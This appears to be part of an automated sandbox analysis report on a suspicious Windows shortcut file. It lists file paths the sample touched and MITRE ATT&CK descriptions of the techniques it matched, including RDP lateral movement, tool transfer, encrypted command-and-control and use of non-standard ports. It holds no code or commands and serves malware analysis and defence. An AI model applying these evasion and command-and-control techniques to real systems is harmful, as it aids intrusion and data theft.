C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\089d66ba04a8cec4bdc5267f42f39cf84278bb67.tbres

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{DE87FA0B-2CBD-4CB0-B355-69DE822523AB}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{E4CC255E-51F4-4514-BF32-8C0E26D9D3F4}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.0.cs

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.cmdline

C:\Users\user\AppData\Local\Temp\5xymyn2p\5xymyn2p.dll

Windows Analysis Report
L0jeOoavu4.lnk

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre